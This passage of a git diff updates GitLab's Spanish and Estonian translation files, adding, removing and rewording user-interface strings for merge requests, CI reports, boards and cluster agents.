+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr "Su cuenta está bloqueada."
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr "Su página de inicio de sesión es %{url}."
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr "¡Su suscripción ha caducado!"
@@ -39875,15 +40535,9 @@ msgstr "Su nombre de usuario es %{username}."
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr "acceso:"
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr "añadido %{created_at_timeago}"
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr "no se puede habilitar a menos que todos los dominios tengan certificados
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr "no se puede modificar"
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr "Dynamic Application Security Testing (DAST) detecta vulnerabilidades con
msgid "ciReport|Failed to load %{reportName} report"
msgstr "Se ha producido un error al cargar el informe %{reportName}"
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr "Solucionado"
@@ -40271,6 +40928,9 @@ msgstr "Solucionado:"
msgid "ciReport|Found %{issuesWithCount}"
msgstr "Encontrado %{issuesWithCount}"
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr "Investigue esta vulnerabilidad creando una incidencia"
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr "Cargando el informe %{reportName}"
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr "Administrar licencias"
@@ -40330,6 +40993,9 @@ msgstr "Análisis de seguridad"
msgid "ciReport|Security scanning failed loading any results"
msgstr "El análisis de seguridad falló al cargar los resultados"
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr "Solución"
@@ -40700,21 +41366,9 @@ msgstr "flujo de importación"
msgid "in"
msgstr "en"
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr "en el grupo %{link_to_group}"
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr "en el proyecto %{link_to_project}"
@@ -40867,9 +41521,6 @@ msgstr "bloqueado por %{path_lock_user_name} %{created_at}"
msgid "log in"
msgstr "iniciar sesión"
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr "manual"
@@ -40899,15 +41550,15 @@ msgstr "más información"
msgid "most recent deployment"
msgstr "despliegue más reciente"
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} y %{mergeCommitCount} se añadirán a %{targetBranch}."
-
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
-msgstr "%{commitCount} se añadirá a %{targetBranch}."
-
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr "1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
+msgstr ""
+
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr "Restaure o use una rama diferente %{missingBranchName}"
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr "Uso de %{metricsLinkStart} memoria %{metricsLinkEnd} %{emphasisStart} in
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr "%{metricsLinkStart} El uso de la memoria %{metricsLinkEnd} es %{emphasisStart} sin cambios %{emphasisEnd} en %{memoryFrom}MB"
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
msgid "mrWidget|A merge train is a queued list of merge requests waiting to be merged into the target branch. The changes in each merge request are combined with the changes in earlier merge requests and tested before merge."
msgstr ""
@@ -40980,9 +41631,6 @@ msgstr ""
msgid "mrWidget|Approved by you and others"
msgstr ""
-msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
-msgstr ""
-
msgid "mrWidget|Cancel auto-merge"
msgstr ""
@@ -41015,6 +41663,9 @@ msgstr ""
msgid "mrWidget|Delete source branch"
msgstr "Eliminar la rama de origen"
+msgid "mrWidget|Deletes the source branch"
+msgstr ""
+
msgid "mrWidget|Deployment statistics are not available currently"
msgstr "Las estadísticas de los despliegues no están disponibles actualmente"
@@ -41024,12 +41675,18 @@ msgstr "No se cerró"
msgid "mrWidget|Dismiss"
msgstr ""
+msgid "mrWidget|Does not delete the source branch"
+msgstr ""
+
msgid "mrWidget|Email patches"
msgstr "Enviar parches por correo electrónico"
msgid "mrWidget|Failed to load deployment statistics"
msgstr "Error al cargar las estadísticas de despliegue"
+msgid "mrWidget|GitLab %{linkStart}CI/CD can automatically build, test, and deploy your application.%{linkEnd} It only takes a few minutes to get started, and we can help you create a pipeline configuration file."
+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr "Merge"
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Merge fallido."
msgid "mrWidget|Merge locally"
msgstr "Merge local"
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr "Merge realizado por"
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr "Solicitud de merge"
msgid "mrWidget|Resolve conflicts"
msgstr "Resolver conflictos"
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr "resuelva estos conflictos o pídale a alguien con acceso de escritura a este repositorio que lo fusione localmente"
-
msgid "mrWidget|Revert"
msgstr "Revertir"
@@ -41164,9 +41842,6 @@ msgstr "Los cambios se fusionaron en"
msgid "mrWidget|The changes were not merged into"
msgstr "Los cambios no se fusionaron en"
-msgid "mrWidget|The changes will be merged into"
-msgstr "Los cambios se fusionarán en"
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,37 +41857,28 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr "El branch de origen está siendo eliminado"
-msgid "mrWidget|The source branch will be deleted"
-msgstr "El branch de origen será eliminado"
-
-msgid "mrWidget|The source branch will not be deleted"
-msgstr "El branch de origen no será eliminado"
-
-msgid "mrWidget|There are merge conflicts"
-msgstr "Hay conflictos de merge"
-
msgid "mrWidget|This merge request failed to be merged automatically"
msgstr "Esta merge request no se realizó automáticamente"
-msgid "mrWidget|This project is archived, write access has been disabled"
-msgstr "Este proyecto está archivado, se ha deshabilitado el acceso de escritura"
-
msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr "para aprobar este merge request, por favor introduzca su contraseña. Este proyecto requiere de todas las aprobaciones para ser autenticado."
-msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|What is a merge train?"
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
+msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
+msgstr ""
+
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
-msgid "mrWidget|You can only merge once this merge request is approved."
+msgid "mrWidget|What is a merge train?"
msgstr ""
msgid "mrWidget|Your password"
@@ -41375,6 +42041,18 @@ msgstr "pipeline"
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr "iniciar sesión"
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr "ordenar:"
-
msgid "source"
msgstr "origen"
@@ -41582,6 +42257,9 @@ msgstr "comenzó el %{timebox_start_date}"
msgid "starts on %{timebox_start_date}"
msgstr "comienza el %{timebox_start_date}"
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr "bloqueado"
diff --git a/locale/et_EE/gitlab.po b/locale/et_EE/gitlab.po
index 1f70904cfa7..78e2c60636c 100644
--- a/locale/et_EE/gitlab.po
+++ b/locale/et_EE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: et\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -239,6 +236,11 @@ msgid_plural "%d fixed test results"
msgstr[0] ""
msgstr[1] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -289,6 +291,11 @@ msgid_plural "%d merge requests that you don't have access to."
msgstr[0] ""
msgstr[1] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -354,6 +361,11 @@ msgid_plural "%d shards selected"
msgstr[0] ""
msgstr[1] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -407,6 +419,12 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -483,6 +501,11 @@ msgstr[1] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -705,7 +728,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -759,6 +782,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -791,9 +817,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -818,6 +841,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -850,6 +876,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -896,9 +925,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -997,6 +1023,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1128,6 +1157,11 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "(this user)"
msgstr ""
@@ -1137,6 +1171,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1175,6 +1212,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1480,9 +1520,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1519,9 +1556,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1570,9 +1604,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1708,9 +1739,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -1957,12 +1985,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2005,6 +2039,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2047,9 +2087,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2119,6 +2156,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2164,9 +2204,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2209,7 +2246,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2218,7 +2255,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2314,6 +2351,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2380,7 +2420,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -2917,19 +2957,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3520,9 +3569,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3550,6 +3596,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3709,6 +3758,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -3891,6 +3943,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -3930,6 +3985,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -3972,9 +4030,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -3987,9 +4042,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4046,6 +4098,9 @@ msgid_plural "ApplicationSettings|Approve %d users"
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4054,6 +4109,9 @@ msgid_plural "ApplicationSettings|By making this change, you will automatically
msgstr[0] ""
msgstr[1] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4466,6 +4524,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4669,6 +4730,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4766,6 +4830,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5414,6 +5481,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5491,6 +5561,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5500,12 +5573,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5518,6 +5600,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5609,6 +5694,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5621,6 +5709,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -5912,10 +6003,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -5924,6 +6018,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6169,6 +6266,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6463,10 +6563,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6517,9 +6617,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6532,6 +6629,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6595,10 +6695,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
